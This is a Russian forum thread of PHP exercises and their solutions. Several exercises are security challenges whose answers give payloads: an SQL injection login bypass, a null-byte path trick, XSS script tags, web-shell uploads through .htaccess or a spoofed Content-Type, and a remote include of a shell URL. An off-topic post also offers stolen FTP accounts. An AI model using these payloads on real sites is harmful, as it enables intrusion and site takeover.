[HREF=([HREF=(asd)HREF]<script>alert(2)</script>)HREF]
который будет преобразован в
<a href="<a href="asd"><script>alert(2)</script>">
Krist_ALL
22.06.2009, 11:27
SleepShadowWeb, 9 задание не правильно сделал, остальные правильно! Молодец.
Добавил еще 3 задания.
SleepShadowWeb, правильно 011 сделал, хотя можно было немного попроще:
$str='
383 текст с числами 5838
635 еще текст 001 462
432текст564
';
$str=preg_replace_callback("/(\d+)/s","replace_hex",$str);
function replace_hex($m)
{
return '0x'.strtoupper(dechex($m[1]));
}
print $str;
Extremal
22.06.2009, 12:32
Задание 013
Войти в панель администрирования, используя sql injection . В БД не лезть. Обмануть проверку просто.
PHP код:
<?php // Login.php
....
$query = "select * from admin where pass = '$_POST['pass']' and login = '$_POST['login']'";
?>
login = 'or'1=1'
pass = 'or'1=1'
FireFenix
22.06.2009, 12:47
Задание 015
Какое число будет записано в переменую id при регистр глобал ON, и объяснить ПОЧЕМУ.
POST => $id = 1
COOKIE => $id = 2
GET => $id = 3
PHP код:
<?ph
$id = $_REСQUEST['id'];
?>
Правильно не $_REСQUEST а $_REQUEST
При global On и опции GPC будет записанно 2
Потому что "C" (Cookie) в опции GPC стоит последней => будет записанна последней
Extremal
22.06.2009, 13:06
Задание 009
В директории 2 файла: index.php , news.inc , config.php. Надо обойти защиту от расширения и прочитать файл config.php
<?php
$f = (string)@$_GET['f'];
$f = str_replace('/', '', $f);
$f .= .inc;
if (file_exists($f)) {
echo htmlspecialchars(file_get_contents($f)); }
else exit;
?>
magic_quotes_gpc = OFF
http://site.com/file.php?f=config.php%00
BlackSun
Задумывалось немного по другому
можно и так ... =)
[/IMG]<script>alert(/lol/)</script>[/IMG]
если воспользоватся возможностями html_entity_decode =)
SleepShadowWeb, правильно 011 сделал, хотя можно было немного попроще:
$str='
383 текст с числами 5838
635 еще текст 001 462
432текст564
';
$str=preg_replace_callback("/(\d+)/s","replace_hex",$str);
function replace_hex($m)
{
return '0x'.strtoupper(dechex($m[1]));
}
print $str;
в регулярке модификатор s зачем? помоему и без него реплейсу живёться не дурно..
strtoupper тут зачем ? поднимаем хекс товарищи!
в колбеках с небольшой ф-ией удобно будет заюзать create_function(); вместо создания отдельной ..
m0nsieur
22.06.2009, 13:46
кстати, может объяснит кто-то зачем замену делать в отдельной функции, я пробовал у себя так preg_replace("/(\d+)/", dechex("\$1"),$str); возвращает везде 0, не пойму почему так, буду благодарен, если кто-то разъяснит =)
FireFenix
22.06.2009, 13:57
При указании отдельной функции в регулярке - то при вхождении будет выполненна эта функция
Krist_ALL
22.06.2009, 13:57
Dechex($1)
Забавно, получается, что самый короткий вариант:
$str=preg_replace("/(\d+)/e","'0x'.dechex($1);",$str);
astrologer
22.06.2009, 15:03
Забавно, получается, что самый короткий вариант:
$str=preg_replace("/(\d+)/e","'0x'.dechex($1);",$str);
Почему не так:$str=preg_replace('/\d+/e',"'0x'.dechex($0)",$str);?
m0nsieur
22.06.2009, 15:09
Оказывается мой вариант рабочий был =) зря только \ ставил.
Krist_ALL
22.06.2009, 15:10
Ну я смотрю некоторые люди заинтересовались заданиями... Хотелось бы услышить мнение ваше. Сначало были одни тупые возражения в мой адрес. А теперь? Когда задания "работают" ? Калие недостатки? Что не нравится? Итд.
Задание 014
preg_replace('#([^\W\d\s]+)#',md5("$1"),$text)
Новое задание от меня.
Есть массив:
$arr=Array(
Array('key1'=> 1, 'key2'=>3),
Array('key1'=> 8, 'key2'=>4),
Array('key1'=> 5, 'key2'=>6),
Array('key1'=> 5, 'key2'=>8),
Array('key1'=> 6, 'key2'=>9),
Array('key1'=> 3, 'key2'=>7),
Array('key1'=> 5, 'key2'=>1),
Array('key1'=> 2, 'key2'=>2),
Array('key1'=> 0, 'key2'=>0),
Array('key1'=> 2, 'key2'=>5)
);
Написать функцию для его сортировки, чтобы можно было отсортировать этот массив, например, по ключам key1 по возрастанию и по ключам key2 по убыванию (нечто вроде sql - order by key1 asc, key2 desc), чтобы в результате получился такой массив:
Array(
//все key1 - по возрастанию
Array('key1'=>0,'key2'=>0),
Array('key1'=>1,'key2'=>3),
Array('key1'=>2,'key2'=>5), //тут
Array('key1'=>2,'key2'=>2), //и тут key2 - по убыванию
Array('key1'=>3,'key2'=>7),
Array('key1'=>5,'key2'=>8), //аналогично тут
Array('key1'=>5,'key2'=>6), //тут
Array('key1'=>5,'key2'=>1), //и тут
Array('key1'=>6,'key2'=>9),
Array('key1'=>8,'key2'=>4)
)
Учесть, что ключей у вложенных массивов может быть сколько угодно, самих вложенных массивов также может быть любое число.
Krist_ALL
22.06.2009, 23:24
3 новых задания ждут вас!!!)
Extremal
22.06.2009, 23:32
Задание 018
Есть 2 переменные a = 5 И b =7. Нужно чтобы $a =7 а $b = 5 , при этом не создавая новых переменных.
<?php
$a = 5;
$b = 7;
$a = $a + $b;
$b = $a - $b;
$a = $a - $b;
echo "a = ".$a."<br>";
echo "b = ".$b;
?>
ЗАДАНИЕ 019
$array = array(5,8,9,15,145,854,64,1,3,8,46,9999);
Определить максимальное число, которое находится в массиве, и вывести его индекс.
<?php
$array = array(5,8,9,15,145,854,64,1,3,8,46,9999,46);
$max = max($array);
$index = array_search($max , $array);
echo $max."<br>".$index;
?>
Krist_ALL
22.06.2009, 23:39
верно! молодец
ЗАДАНИЕ 017 мне кажется или я намудрил? :D
<?php
$a = 'qwe qqqq qqqw w zed ed';
$arr = explode(' ',$a);
$str = array_shift($arr);
foreach($arr as $k => $v)
{
$string = explode(' ',$a,$k+2);
array_pop($string);
if(strripos(implode(' ',$string),$v) === false)
{
$str .= " ".$v;
} else {
$str .= " <b>".$v."</b>";
}
}
echo $str;
?>
Krist_ALL
23.06.2009, 00:24
Брр. Ну и код. Черт голову сломит! Все гораздо проще. Через регулярку.
Extremal
23.06.2009, 01:26
ЗАДАНИЕ 016 от d_x
<?php
$arr=Array(
Array('key1'=> 1, 'key2'=>3),
Array('key1'=> 8, 'key2'=>4),
Array('key1'=> 5, 'key2'=>6),
Array('key1'=> 5, 'key2'=>8),
Array('key1'=> 6, 'key2'=>9),
Array('key1'=> 3, 'key2'=>7),
Array('key1'=> 5, 'key2'=>1),
Array('key1'=> 2, 'key2'=>2),
Array('key1'=> 0, 'key2'=>0),
Array('key1'=> 2, 'key2'=>5)
);
foreach ($arr as $i => $row)
{
$key1[$i] = $row['key1'];
$key2[$i] = $row['key2'];
}
array_multisort($key1, SORT_ASC,
$key2, SORT_DESC, $arr);
for($i=0;$i<=count($arr);$i++){
echo $arr[$i][key1].":";
echo $arr[$i][key2]."<br>";
}
?>
Долго голову ломал над этим заданием :)
Все правильно, только я просил функцию и говорил, что ключей у массивов может быть сколько угодно.
Вот более универсальное решение:
<?php
$arr=Array(
Array('key1'=> 1, 'key2'=>3),
Array('key1'=> 8, 'key2'=>4),
Array('key1'=> 5, 'key2'=>6),
Array('key1'=> 5, 'key2'=>8),
Array('key1'=> 6, 'key2'=>9),
Array('key1'=> 3, 'key2'=>7),
Array('key1'=> 5, 'key2'=>1),
Array('key1'=> 2, 'key2'=>2),
Array('key1'=> 0, 'key2'=>0),
Array('key1'=> 2, 'key2'=>5)
);
$order=Array('key1'=>'asc', 'key2' => 'desc');
usort($arr, 'mysort');
print_r($arr);
function mysort($a,$b)
{
global $order;
$result=0;
foreach($order as $key=>$value)
{
if($a[$key]==$b[$key])
continue;
$result=$a[$key]<$b[$key] ? -1 : 1;
if($value=='desc') $result=-$result;
break;
}
return $result;
}
?>
ЗАДАНИЕ 016 от d_x
мое пьяное решение )
<?php
$arr=Array(
Array('key1'=> 1, 'key2'=>3),
Array('key1'=> 8, 'key2'=>4),
Array('key1'=> 5, 'key2'=>6),
Array('key1'=> 5, 'key2'=>8),
Array('key1'=> 6, 'key2'=>9),
Array('key1'=> 3, 'key2'=>7),
Array('key1'=> 5, 'key2'=>1),
Array('key1'=> 2, 'key2'=>2),
Array('key1'=> 0, 'key2'=>0),
Array('key1'=> 2, 'key2'=>5)
);
function cmp( $first, $second )
{
if ($first < $second) {
return -1;
}
else {
return 1;
}
}
usort($arr, 'cmp');
print_r($arr);
?>
исправил, теперь усе работает )
мое пьяное решение )
LEE_ROY, задание уже сделали, да и я написал ответ.
Твое решение неверное, сравнил бы вывод как должно быть и как у тебя)
LEE_ROY, задание уже сделали, да и я написал ответ.
Твое решение неверное, сравнил бы вывод как должно быть и как у тебя)
сори, на один глаз невижу ужо :D
Pashkela
23.06.2009, 02:40
Задание 018
Есть 2 переменные a = 5 И b =7. Нужно чтобы $a =7 а $b = 5 , при этом не создавая новых переменных.
<?php
// Исходные
$a = 5;
$b = 7;
// Решение
$a = 7;
$b = 5;
?>
Брр. Ну и код. Черт голову сломит! Все гораздо проще. Через регулярку.
эт ты мне? реглярка? хм.. щя подумаем :D
c0n Difesa
23.06.2009, 10:15
<?php
$b = $a + $b;
$a = $b - $a;
$b = $b - $a;
?>
Krist_ALL
23.06.2009, 10:53
Так, кто говорил что не надо про уязвимости?
А потом мне попадаютс сайты с таким кодом if(file_exists($_GET['file'])) include($_GET['file']); УЖАС! А еще я читал что зачем морочится с филтрами если можно ве переменный передавать в POST, его же не возможно подменить! Я прям так и упал под стол.
БЕЗОПАСНОСТЬ а не взлом в заданиях. Код должен быть безопасным - поймите вы это.
ПО поводу коротких решений... Все учту.
Pashkela
23.06.2009, 13:21
А еще я читал что зачем морочится с филтрами если можно ве переменный передавать в POST, его же не возможно подменить! Я прям так и упал под стол.
А можно поподробнее - почему POST нельзя подменить?
wildshaman
23.06.2009, 13:23
А можно поподробнее - почему POST нельзя подменить?
В том-то и соль, что есть умники, котоыре пишут вот такой вот бред, а кристалл охренел от этого :)
Ваш К.О.
Krist_ALL
23.06.2009, 13:30
Верно, wildshaman, такие вот умники)
Несколько заданий щас добавлю.
Дело в том, что я щас с компа, а скоро буду с gprs и буду реже быть на ачате - траф ужас! Как быть ХЗ.Тему не буду бросать , просто буду по реже заходить.
Extremal
23.06.2009, 13:54
Задание 021 от .:Enot:.
<?php
$num = 5; // Любая цифра
$array1 = array(1, 3, 5, 7, 9, 11, 13, 15, 17);
$array2 = array(2, 4, 6, 8, 10);
$array = array_merge($array1,$array2);
sort($array);
$text = implode(",", $array);
$result1 = substr($text , 0, $num*2-1);
$result2 = substr($text , $num*2);
$arr1 = explode (",", $result1);
$arr2 = explode (",", $result2);
echo "<pre>";
print_r($arr1);
echo "</pre>";
echo "<pre>";
print_r($arr2);
echo "</pre>";
?>
$num любая
SleepShadowWeb
23.06.2009, 14:09
21:
$num = 5; // Любая цифра
$array1 = array(1, 3, 5, 7, 9, 11, 13, 15, 17);
$array2 = array(2, 4, 6, 8, 10);
$my = array_merge($array1, $array2);
array_multisort($my, SORT_NUMERIC, SORT_ASC);
$rez1 = array_slice($my, 0, $num);
$rez2 = array_slice($my, $num);
print_r($rez1);
print_r($rez2);
20:
function my_implode($glue, $arr)
{
$rez = "";
foreach($arr as $k=>$v)
{
$rez .= $v.$glue;
}
return substr($rez, 0, strlen($rez) - strlen($glue));
}
$arr = array('aaa', 'bbb', 'ccc');
$rez = my_implode(",,", $arr);
print_r($rez);
17:
$str = "Ламерок ламер нег полка пол ЛК";
$w = explode(" ", $str);
$rez = $w[0];
$len = strlen($w[0]);
for($i = 1; $i < count($w); $i++)
{
$s = substr(strtolower($str), 0, $len + $i);
$len += strlen($w[$i]);
$pos = strpos($s, strtolower($w[$i]));
if ($pos === false) {
$rez .= " ".$w[$i];
} else {
$rez .= " <font color=red>".$w[$i]."</font>";
}
}
echo $rez;
SleepShadowWeb
23.06.2009, 14:12
Задание 021 от .:Enot:.
<?php
$num = 5; // Любая цифра
$array1 = array(1, 3, 5, 7, 9, 11, 13, 15, 17);
$array2 = array(2, 4, 6, 8, 10);
$array = array_merge($array1,$array2);
sort($array);
$text = implode(",", $array);
$result1 = substr($text , 0, $num*2-1);
$result2 = substr($text , $num*2);
$arr1 = explode (",", $result1);
$arr2 = explode (",", $result2);
echo "<pre>";
print_r($arr1);
echo "</pre>";
echo "<pre>";
print_r($arr2);
echo "</pre>";
?>
$num любая
работать не будет, проверь если все цифры в массивах > 10
SleepShadowWeb
23.06.2009, 14:22
23: на 10 деляться все числа, возможно в вопросе имеется ввиду без остатка
function del($s)
{
return ($s[1]%10)?"no":"yes";
}
$str='101';
echo preg_replace_callback("/(\d+)/", "del", $str);
Extremal
23.06.2009, 14:22
работать не будет, проверь если все цифры в массивах > 10
Действительно =( А я об этом что то и не задумался,так на скорую руку набросал.
20:
function oin($glue, $arr) {
$res = '';
$add = false;
foreach ($arr as $b) {
if ($add) $res .= $glue;
if (!$add) $add = true;
$res .= $b;
}
return $res;
}
print oin(', ', array('a', 'b', 'c'));
21:
$num = 5;
$array1 = array(1, 3, 5, 7, 9, 11, 13, 15, 17);
$array2 = array(2, 4, 6, 8, 10);
$big = array_merge($array1, $array2);
sort($big);
$one = array_slice($big, 0, 5);
$two = array_slice($big, 5);
print_r($one);
print_r($two);
22:
$arr = array(3 => 'a', 5 => 'b', 9 => 'c');
#foreach
$vals = array_keys($arr);
for ($i=0; $i<count($vals); $i++) {
print $vals[$i].' => '.$arr[$vals[$i]]."\n";
}
23:
print preg_match('#0$#', '1543230')?'yes':'no';
21:
$num = 5;
$array1 = array(1, 3, 5, 7, 9, 11, 13, 15, 17);
$array2 = array(2, 4, 6, 8, 10);
$big = array_merge($array1, $array2);
sort($big);
$one = array_slice($big, 0, 5);
$two = array_slice($big, 5);
print_r($one);
print_r($two);
немного подправил, количество элементов в первом массиве должно определяется в переменной $num.
<?php
$num = 10;
$array1 = array(1, 3, 5, 7, 9, 11, 13, 15, 17);
$array2 = array(2, 4, 6, 8, 10);
$big = array_merge($array1, $array2);
sort($big);
$one = array_slice($big, 0, $num );
$two = array_slice($big, $num );
echo "<pre>";
print_r($one);
echo "<pre>";
echo "<pre>";
print_r($two);
echo "<pre>";
?>
да, спс, проглядел немножко
Krist_ALL
24.06.2009, 19:04
тАк, Модератор скоро почистит тему и не флдудите!!! тока решения или новые зададиня! о новростях буду сообщать в первом посте.
Krist_ALL
26.06.2009, 17:47
3 новых задания появились)
Буду рад, если подкините заданий, а то моя фантазия на исходе)
Задание 025
Назвать файл file.php.fdjhhd или скажем .php3, или залить пхп код в хтмл файле и htaccess c текстом
AddType application/x-httpd-php .html .htm
Задание 026
Потому что должно выполниться или
$b <= $a && $a == $c
или
$b > $c
Второе выполняется и присваивается 0
24:
ob_start();
$time1 = microtime(1);
for ($j = 0; $j < 10000; $j++) {
for($i=0;$i<10;$i++)
{ echo '1php '; }
}
$a = (microtime(1)-$time1);
$time1 = microtime(1);
for ($j = 0; $j < 10000; $j++) {
while($i<10) {
echo 'w1';
$i +=1;
}
}
$b = (microtime(1)-$time1);
ob_end_clean();
echo "A: $a, B: $b";
A: 0.0332159996033, B: 0.00275301933289
второй вариант быстрее
25:
хз, может расширение php4 попробовать, или взять левое расширение и добавить .htaccess, в котором оно будет прописано для пхп
26:
$a = 10;
$b = 515;
$c = 0.515;
$d = $b<=$a&&$a==$c||$b>$c?0:1;
echo $d;
$d = 0&&0 || 1?0:1; у || приоритет меньше, чем у &&
$d = 0 || 0
$d = 0
025
мб залить хтмл файл с таким содержанием:
<?php
require_once('http://mysite.com/shell.php');
?>
Krist_ALL
26.06.2009, 21:05
roddik, 024 впринципе правильно, но хачем нада было в фор сувать остается загадкой.
025 ьож правильно родик решил. - взять левое расширение и залить еще хтаккес.
026 немного не правиьно родик сделал
задание 025
залить файл хтассес и там прописать чтоб например файлы с расширение *.jpg выполнялись как php
Krist_ALL
26.06.2009, 22:39
Zedi, да, я это и написал в своем посте. Как вы задания быстро решаете..) за вами не угонишься)))
26:
потому что выполняетсяя хотябы одна часть условия .. $b > $c т.к там стоит OR
вот и выводит 0..
Krist_ALL
27.06.2009, 12:13
DOOM123, вырно просто немного другое хотел услышать.
потому что выполняетсяя хотябы одна часть условия .. $b > $c т.к там стоит OR
Это да, но подловить я вас хотел на ?0:1
это означает иф -
если true =>0//что необычноr
если false =>1//что тоже неоьбычно т.к. труе вообщето 1 а falsre 0
Вот)
Krist_ALL
28.06.2009, 11:34
Я уезжаю на дачу, буду писать редко т.к gprs, надеюсь вы эту тему не забросите., добавляйте задания и решайте их) Всем удачи!
чёт тема умела ... =)
мне чтоль задания придумать?...
хм .. кароче напишите умный разделитель текста ... ф-цию в который указывашь на сколько частей делить текст и указать сам текст ... а на выходе был массив разделёного текста .. .
но главное чтоб он умно разделял текст .. чтоб разделитель понимал что если это целое слово нужно идти дальше ...
пример использования spl(2,$text);
хоть чтото полезние напишите =)
чёт тема умела ... =)
мне чтоль задания придумать?...
хм .. кароче напишите умный разделитель текста ... ф-цию в который указывашь на сколько частей делить текст и указать сам текст ... а на выходе был массив разделёного текста .. .
но главное чтоб он умно разделял текст .. чтоб разделитель понимал что если это целое слово нужно идти дальше ...
пример использования spl(2,$text);
хоть чтото полезние напишите =)
function spl($text, $parts) {
$res = array();
$l = intval(strlen($text)/$parts);
preg_match_all('#(.{'.$l.',}?[,\.\?!])#is', $text, $sp, PREG_OFFSET_CAPTURE);
$last = $sp[1][count($sp[1])-1][1]+strlen($sp[1][count($sp[1])-1][0]);
foreach($sp[1] as $arr) {
$res[] = $arr[0];
}
$res[] = substr($text, $last);
return $res;
}
$text = <<<EOF
Моей работой является работа с персоналом. У меня даже должность так называется — директор по обучению и развитию персонала. Должность даёт много возможностей, которые мне нравятся, но есть также и ведро ложка дёгтя: с людьми я общаюсь всё более и более опосредованно. У нас в конторе, как наверняка и везде, где больше 100 человек, наличествует некая организационная иерархия, которая несколько эээ… отгораживает. Так вот очень часто получается так, что приходит человек с заявлением об увольнении… а ты удивляешься. Это мягко говоря — чаще ты стоишь как громом поражённый и не знаешь, как реагировать. Естественно, шок проходит и ты начинаешь прояснять обстановку…
Вот тут и выясняются интересные моменты. Кому-то некуда расти, кого-то в отпуск не отпускали уже год, кому-то текущий проект поперёк горла, кто-то хочет из тестировщика переквалифицироваться в программиста, С’шник хочет учить .NET, а у кого-то место под кондиционером и ему холодно… Проблемы разные, но чаще всего вполне решаемые. Дело только всё в том, что решать уже поздно. Заявление уже написано, и даже, если ложечки найдутся, осадочек-то всё равно останется. Вот и уходят люди — часто на более высокую зарплату, но не менее часто на такую же, а бывает и на меньшую. Вот это и есть проблема.
EOF;
print_r(spl($text, 5));
Хех, а может давайте так, кто первый решает предыдущее задание, выдумывает следующее, а потом в зависимости от сложности задания все скидываются репой?
В общем задание - есть номер формочки на хмтл паге, надо составить массив соответствия имен инпутов надписям, которые стоят рядом с ними ;)
чтото не пашет =)
<?php
function spl($text, $parts) {
$res = array();
$l = intval(strlen($text)/$parts);
preg_match_all('#(.{'.$l.',}?[,\.\?!])#is', $text, $sp, PREG_OFFSET_CAPTURE);
$last = $sp[1][count($sp[1])-1][1]+strlen($sp[1][count($sp[1])-1][0]);
foreach($sp[1] as $arr) {
$res[] = $arr[0];
}
$res[] = substr($text, $last);
return $res;
}
echo "<PRE>";
$a = '123456789 123456789 123456789
132456789 123465789 132456789 123456789';
print_r(spl($a,2));
?>
Вывод
Array
(
[0] => 123456789 123456789 123456789
132456789 123465789 132456789 123456789
)
Да, я рассчитывал на текст с точечками, так красивее получается) ну если надо разбивать циферки, то меняем
preg_match_all('#(.{'.$l.',}?[,\.\?!])#is', $text, $sp, PREG_OFFSET_CAPTURE);
на
preg_match_all('#(.{'.$l.',}?\s)#is', $text, $sp, PREG_OFFSET_CAPTURE);
уху уже нашёл .... но почему не сделать для всех случаев жизни?
preg_match_all('#(.{'.$l.',}?[,\.\?!\s])#is', $text, $sp, PREG_OFFSET_CAPTURE);
уху уже нашёл .... но почему не сделать для всех случаев жизни?
preg_match_all('#(.{'.$l.',}?[,\.\?!\s])#is', $text, $sp, PREG_OFFSET_CAPTURE);
потому что в человеческом тексте идет много пробелов, потом точка или запятая, поэтому такая регуляка будет в основном срабатывать на пробелы
имелось виду чтоб функция не урезала слова ... но чтоб делила код на части...
mailbrush
03.07.2009, 12:59
Задание 005
Регулярка выдает true, потому что "#" - это якорь и все, что находится после него в переменную не попадает. Кто не знает для чего служит якорь - го гугл.
PS: Спс Tigger'y, за то, что напомнил, что решетка якорем зовется. А то я все анчор и анчор, даже не знал, что это с английского - якорь :)
mailbrush
03.07.2009, 13:14
Задание 025
Залить файл в расширении .phtml
Krist_ALL
10.07.2009, 13:43
3 новых задания написал!
Тепер за выполенное задание вы получаете +5
FireFenix
10.07.2009, 13:47
Зададние 027
Чего не знал програмист, кодя этот скрипт.
<?php
$name= htmlspecialchars($_POST['name'], ENT_COMPAT);
mysql_query("select * from users Where name = '$number'");
?>
1) Что он использовал не ту переменную для выборки из БД?
2) Если он всёже ошибся в имени перменной, то наверное можно было бы использовать mysql_real_escape_string
Задание 029
http://ru.php.net/manual/ru/function.strrev.php
Или я что-то не так понял..?!
Krist_ALL
10.07.2009, 13:50
Млин опечатался) в названии переменой
Задание 028
word = m%. Запрос будет выглядеть так SELECT * FROM private WHERE word like '$b%' , т.е. выведет все слова на m
Зададние 027
Одинарная кавычка останиться без изменения....
Зададние 027
Нет фильтрации в sql запросе.
XSS исключена, т.к. htmlspecialchars() не будет выполнять зловредный код.
Должо быть так:
<?php
if (! preg_match("|^[\w\d\. ]+$|i", $name))
$name= htmlspecialchars($_POST['name'], ENT_COMPAT);
mysql_query("select * from users Where name = '$name'");
?>
Остальные задания выносят мозг....
beerhack
11.07.2009, 00:51
Задание 029
Написать скрипт зеркального отражения слов. На входе античат, на выходе тачитна - чтобы так можно было делать с любым словом.
<?php
$text = $_GET['text'];
echo strrev($text);
?>
:D
<?php
$text = $_GET['text'];
$len = strlen($text);
for($i=0;$i<$len;$i++)
{
$s =substr($text,$len-$i-1,1);
$rez = $rez.$s;
}
echo $rez;
?>
<?php
$text = $_GET['text'];
$len = strlen($text);
for($i=0;$i<$len;$i++)
{
$s =substr($text,$len-$i-1,1);
$rez = $rez.$s;
}
echo $rez;
?>
Ужасный вариант, если делать циклом, то так:
$text='тут текст';
$revtext='';
for($l=strlen($text),$i=$l-1;$i>=0;$i--)
$revtext.=$text{$i};
print $revtext;
А теперь напишите вариант для кодировки Unicode :)
<?php
$text = 'blalba';
for($i = -strlen($text),$b = -1; $i <= $b; $b--)
echo substr($text,$b,1);
?>
imajo.ati
11.07.2009, 11:04
задание 29 есть в гугле ... google.ru/search?q=utf8+php+strrev
imajo.ati
11.07.2009, 11:22
вот мой вариант задания 29
<?php
$text = 'тут utf8 русский текст';
$revtext = '';
$i=0;
$len = strlen($text);
while($i<$len)
{
if ( ord($text[$i]) > 128 )
{
$revtext = $text[$i].$text[++$i] . $revtext;
++$i;
}
else
{
$revtext = $text[$i] . $revtext;
++$i;
}
}
echo $revtext;
UTF-8 — это представление Юникода
символы Юникода изображаются последовательностями длиной от 2 до 6 байт
(на деле, только до 4 байт, поскольку в Юникоде нет символов с кодом больше 10FFFF)
да, осталось только определить сколько байт символ занимает.. мой вариант от 1 до 2 =\
<?php
$text = 'тут utf8 русский текст';
$revtext = '';
$i=0;
$len = strlen($text);
while($i<$len)
{
if ( ord($text[$i]) > 128 )
{
if ( ord($text[$i]) == 255 )
{
if ( ord($text[$i+1]) == 255 )
{
$revtext = $text[$i].$text[++$i].$text[++$i].$text[++$i] . $revtext;
++$i;
}
else
{
$revtext = $text[$i].$text[++$i].$text[++$i] . $revtext;
++$i;
}
}
else
{
$revtext = $text[$i].$text[++$i] . $revtext;
++$i;
}
}
else
{
$revtext = $text[$i] . $revtext;
++$i;
}
}
echo $revtext;
так ?)
Задание 029
с циклом
<?php
$word = 'античат';
for ($i = 0; $i<strlen($word); $i++)
$b = $word[$i].$b;
echo $b;
?>
не изобретая велосипед
<?php
$word = 'античат';
echo strrev($word);
?>
Задание 026
//$d = $b<=$a && $a==$c || $b>$c ? 0 : 1;
$b<=$a --- false
$a==$c --- false
false && false == false
$b>$c --- true
false || true == true
Следует получаем из условия 0.
imajo.ati
11.07.2009, 16:52
йй
mailbrush
11.07.2009, 17:24
Задание 026
$a = 10;
$b = 515;
$c = 0.515;
$d = $b<=$a&&$a==$c||$b>$c?0:1;
echo $d;
Ессли ($b<=$a и ($a==c или $b>$c)) выводит 0.
Krist_ALL
11.07.2009, 18:09
ВСЕМ спасибо! Заданий теперь не будет неделю.
// Отыхать я еду)
ФТП ВАЛИД МНОГО кому надо? ОБмен на асю или если немного просто так.! СРОЧНО. до 00:00
Krist_ALL
26.08.2009, 15:11
И снова новые задания!
Пока 3 штуки добавил, потом еще напишу. Продолжаем решать задания)
Присылайте так-же свои задания, с удовольствием добавлю.
Pashkela
26.08.2009, 15:28
Есть такая форма загрузки картинок на сайт (например в админке, куда вы только что получили доступ через sql-inj):
<?php
if ($HTTP_POST_VARS['submit']) {
if (!is_uploaded_file($HTTP_POST_FILES['file']['tmp_name'])) {
$error = "You did not upload a file!";
unlink($HTTP_POST_FILES['file']['tmp_name']);
// assign error message, remove uploaded file, redisplay form.
} else {
//a file was uploaded
$maxfilesize=10240;
if ($HTTP_POST_FILES['file']['size'] > $maxfilesize) {
$error = "file is too large";
unlink($HTTP_POST_FILES['file']['tmp_name']);
// assign error message, remove uploaded file, redisplay form.
} else {
if ($HTTP_POST_FILES['file']['type'] != "image/gif" AND $HTTP_POST_FILES['file']['type'] != "image/jpeg") {
$error = "This file type is not allowed";
unlink($HTTP_POST_FILES['file']['tmp_name']);
// assign error message, remove uploaded file, redisplay form.
} else {
//File has passed all validation, copy it to the final destination and remove the temporary file:
copy($HTTP_POST_FILES['file']['tmp_name'],"./".$HTTP_POST_FILES['file']['name']);
unlink($HTTP_POST_FILES['file']['tmp_name']);
print "File has been successfully uploaded!";
exit;
}
}
}
}
?>
<html>
<head></head>
<bоdу>
<form action="<?=$PHP_SELF?>" method="post" enctype="multipart/form-data">
<?=$error?>
<br><br>
Choose a file to upload:<br>
<input type="file" name="file"><br>
<input type="submit" name="submit" value="submit">
</form>
</bоdу>
</html>
URL до скрипта загрузки: http://site.ru/admin/upload.php (просто как пример)
Задача: Написать скрипт на PHP, загружающий шелл вместо картинки, обойти проверку (т.е. загрузить файл с расширением .php)
Условия: magic_quotes_gpc=ON, register_globals=OFF
Форма заливки взята с реально действующего движка.
Цветным просьба не участвовать, т.к. легко:)
Задание 030
<?php
$a = array('cat','dog','fox');
$b = array('Moscow','London');
$c = array('RED');
$d = $b + $a + $c;
?>
в результате мы получим массив :
Array ( [0] => Moscow [1] => London [2] => fox )
результат таков потому что у массивов $a,$b,$c есть совпадения в индексах(остались только разные индексы).
$a имели индексы 0, 1, 2.
$b - 0, 1.
$c - 0.
поскольку в сложении массив $b стоял первым то его елемнты есть в результирующем массиве $d ну и последний елемент массива $d [2] => fox
остался потому что неодин из елементов 3-их массивов $a,$b,$c не имел индекс [2]
m0nsieur
26.08.2009, 15:37
Задание 031
<?php
function cnt_arr($array, &$count = 0) {
foreach ($array as $value) {
if (is_array($value)) {
$count++;
cnt_arr($value, $count);
} else {
return;
}
}
}
$arr = array('1' => array('2' => array('1' => '2')));
$cnt = '';
cnt_arr($arr, $cnt);
echo($cnt);
?>
2 Pashkela А я бы просто через tamper data сменил Content-Type: text/plain на Content-Type: image/gif, но можно конечно и самому сформировать :)
Кстати, из какой это cms?
Задание 032
<?php
function countspec($stroka){
for($i=0;$i<=strlen($stroka);$i++){
if($stroka{$i}!==htmlspecialchars($stroka{$i})){
$count++;
}
}
return $count;
}
$stroka='<a>';
echo countspec($stroka);//2 потому как < & >
?>
Pashkela
26.08.2009, 16:54
2 m0nsieur:
Задача - написать фактически сплойт. Joker-jar только что в ЛС отписал рабочий вариант:)
Что tamper data - ежу понятно, но тут раздел кодинг. Откуда по вашему сплойты на milw0rm.com берутся? Вот и польза будет
Тот же сплойт на fckeditor на пыхе
PS: Речь идет об автоматизации процесса
Задание 032
<?php
function countspec($stroka){
for($i=0;$i<=strlen($stroka);$i++){
if($stroka{$i}!==htmlspecialchars($stroka{$i})){
$count++;
}
}
return $count;
}
$stroka='<a>';
echo countspec($stroka);//2 потому как < & >
?>
Не ахти имхо...
без флага ENT_QUOTES htmlspecialchars() будет пропускать ОДИНАРНУЮ кавычку,да и вообще она мало спец символов преобразует.... с регуляркой будет правильней наверно...
Не ахти имхо...
без флага ENT_QUOTES htmlspecialchars() будет пропускать ОДИНАРНУЮ кавычку,да и вообще она мало спец символов преобразует.... с регуляркой будет правильней наверно...
слух,если ты такой умник то напиши с регуляркой и без гемора.
слух,если ты такой умник то напиши с регуляркой и без гемора.
<?php
function countspec($stroka){
$count=0;
for($i=0;$i<=strlen($stroka)-1;$i++){
if(!preg_match("/[a-zA-Z0-9]/",$stroka[$i]))
{$count++;}}
Echo ('Спец символов:'.$count);
}?>
Как то так.... ;)
Не злись... я просто выразил своё мнение)
Pashkela
26.08.2009, 17:42
И у того и у другого ошибка - достаточно просто написать
$i<strlen($stroka)
счет длины начинается с единички:)
И у того и у другого ошибка - достаточно просто написать
$i<strlen($stroka)
счет длины начинается с единички:)
Спасибо,исправил.
<?php
function countspec($stroka){
$count=0;
for($i=0;$i<strlen($stroka);$i++){
if(!preg_match("/[a-zA-Z0-9]/",$stroka[$i]))
{$count++;}}
Echo ('Спец символов:'.$count);
}
?>
<?php
function countspec($stroka){
$count=0;
for($i=0;$i<=strlen($stroka)-1;$i++){
if(!preg_match("/[a-zA-Z0-9]/",$stroka[$i]))
{$count++;}}
Echo ('Спец символов:'.$count);
}?>
Как то так.... ;)
Не злись... я просто выразил своё мнение)
круто! ,у тебя выйдет в слове ОМГ
3 спецсимвола.
$stroka[$i]
откуда ты взял что $stroka массив?ты её перед этим explod'ил?
htmlspecialchars — Преобразует специальные символы в HTML сущности
